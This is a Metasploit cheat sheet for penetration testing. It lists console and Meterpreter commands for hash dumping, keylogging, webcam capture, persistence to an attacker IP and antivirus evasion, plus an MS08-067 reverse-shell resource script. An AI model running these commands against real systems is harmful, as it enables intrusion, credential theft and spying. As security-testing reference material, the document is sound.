Metasploit Cheatsheet

A comprehensive cheat sheet covering essential Metasploit commands, modules, and techniques for penetration testing and vulnerability exploitation.

Core Commands

Basic Commands

`help`	Displays help menu.
`banner`	Displays the Metasploit banner.
`version`	Shows the current Metasploit version.
`exit` or `quit`	Exits the Metasploit console.
`search <keyword>`	Searches for modules related to a keyword.
`info <module>`	Displays information about a specific module.

Module Interaction

`use <module>`	Loads a module.
`show options`	Displays available options for the loaded module.
`set <option> <value>`	Sets a value for a module option.
`unset <option>`	Unsets a previously set option.
`exploit` or `run`	Executes the loaded module.
`back`	Returns to the main Metasploit console.

Database Backend Commands

`db_status`	Checks the status of the database connection.
`db_connect <user>:<password>@<host>/<database>`	Connects to a database.
`hosts`	Lists discovered hosts.
`services`	Lists discovered services.
`vulns`	Lists discovered vulnerabilities.
`creds`	Lists discovered credentials.

Meterpreter Commands

System Commands

`sysinfo`	Displays information about the target system.
`getuid`	Gets the user ID of the current process.
`getsystem`	Attempts to escalate privileges to SYSTEM.
`pwd`	Prints the current working directory.
`cd <directory>`	Changes the current directory.
`search -f <filename>`	Searches for files on the target system.

File System Commands

`ls`	Lists files and directories in the current directory.
`download <remote_file> [local_file]`	Downloads a file from the target system.
`upload <local_file> [remote_file]`	Uploads a file to the target system.
`cat <filename>`	Displays the contents of a file.
`mkdir <directory>`	Creates a directory.
`rm <file>`	Deletes a file.

Networking Commands

`ipconfig`	Displays network configuration.
`portfwd add -l <local_port> -p <remote_port> -r <remote_host>`	Forwards a port from the attacker machine to the target machine.
`route add <subnet> <mask> <gateway>`	Adds a route to the routing table.
`netstat`	Displays network connections.
`resolve <hostname>`	Resolve hostname to IP address
`ifconfig`	Displays network interface configuration (Linux).

Post-Exploitation

Credential Gathering

`hashdump`	Dumps password hashes from the SAM database (Windows).
`migrate <pid>`	Migrates Meterpreter to another process.
`keyscan_start`	Starts capturing keystrokes.
`keyscan_dump`	Dumps captured keystrokes.
`screenshot`	Takes a screenshot of the target's desktop.
`webcam_snap`	Takes a snapshot from the target's webcam.

Pivoting

`autoroute -s <subnet> -n <mask>`	Adds a route to the routing table for pivoting.
`background`	Backgrounds the current session.
`sessions`	Lists active sessions.
`sessions -i <session_id>`	Interacts with a specific session.
`route print`	Displays the current routing table.
`meterpreter`	Enters meterpreter shell.

Persistence

`run persistence -X -i <interval> -p <port> -r <attacker_ip>`	Sets up persistence on the target system (Windows).
`run autorun -f`	Execute commands from autorun script.
`run metsvc`	Uploads and runs Meterpreter as a Windows service.
`reg enumkey -k HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run`	Enumerates registry keys.
`use exploit/windows/local/persistence`	Uses a specific persistence exploit module.
`run scheduleme`	Creates a scheduled task.

Advanced Techniques

Evasion Techniques

`set EnableStageEncoding true`	Enables stage encoding to evade antivirus.
`set StagerEncoder <encoder>`	Sets the encoder for the stager.
`set StagerVerifyChecksum true`	Verifies checksums of stager components.
`generate -t <format> -f <filename>`	Generates payloads in different formats (e.g., exe, raw).
`use encoder/x86/shikata_ga_nai`	Uses the shikata_ga_nai encoder for evasion.
`set ExitFunc thread`	Sets exit function to thread for stealth.

Module Development

Creating Auxiliary Modules	Use the `auxiliary` module type for scanning, fingerprinting, and other non-exploit tasks.
Creating Exploit Modules	Exploit modules are designed to take advantage of vulnerabilities in target systems.
Creating Post Modules	Post modules are executed on a compromised target system after successful exploitation.
Essential parameters	`Name`, `Description`, `Author`, `License`, `References`, `Targets`, `Payload`
Documenting Modules	Provide clear descriptions, usage instructions, and notes for each module.
Testing Modules	Thoroughly test modules against various target environments and configurations.

Resource Scripts

Creating a Resource Script	Resource scripts are simple text files with a list of Metasploit commands to execute.
Running a Resource Script	`resource <path_to_script>`

Example	`use exploit/windows/smb/ms08_067_netapi`
	`set RHOST <target_ip>`
	`set PAYLOAD windows/meterpreter/reverse_tcp`
	`set LHOST <attacker_ip>`
	`exploit`

Variables	You can use variables in resource scripts to make them more flexible.
Comments	Add comments to your resource scripts to document what each command does.
Automation	Automate repetitive tasks, such as scanning a network for vulnerabilities or setting up a reverse shell.